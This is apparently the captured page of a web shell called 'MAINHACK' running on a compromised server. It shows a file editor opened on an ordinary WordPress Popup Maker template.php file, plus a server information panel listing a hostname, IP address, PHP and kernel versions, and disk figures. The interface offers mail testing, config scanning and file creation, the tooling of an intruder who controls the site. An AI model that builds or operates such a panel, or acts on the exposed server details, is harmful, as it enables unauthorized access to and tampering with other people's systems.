[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: template.php
<?php /******************************************************************************* * Copyright (c) 2019, Code Atlantic LLC ******************************************************************************/ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * Get a templates part in $slug-$name.php fashion. * * Allows passing arguments that will be globally accessible in the templates. * * @param string $slug * @param string $name * @param array $args * * @return string */ function pum_get_template_part( $slug, $name = null, $args = null ) { return PUM_Utils_Template::get_part( $slug, $name, $args ); } /** * Render a templates part in $slug-$name.php fashion. * * Allows passing arguments that will be globally accessible in the templates. * * @param string $slug * @param string $name * @param array $args */ function pum_template_part( $slug, $name = null, $args = [] ) { echo pum_get_template_part( $slug, $name, $args ); } /** * Gets the rendered contents of the specified templates file. * * @param $template_name * @param array $args * * @return string */ function pum_get_template( $template_name, $args = [] ) { return PUM_Utils_Template::get( $template_name, $args ); } /** * Get other templates (e.g. product attributes) passing attributes and including the file. * * @deprecated Likely a better way @see pum_template_part() * * @param string $template_name Template file name with extension: file-name.php * @param array $args (default: array()) */ function pum_load_template( $template_name, $args = [] ) { echo pum_get_template( $template_name, $args ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.57 GB
Domains on IP: N/A (Requires external lookup)
System Features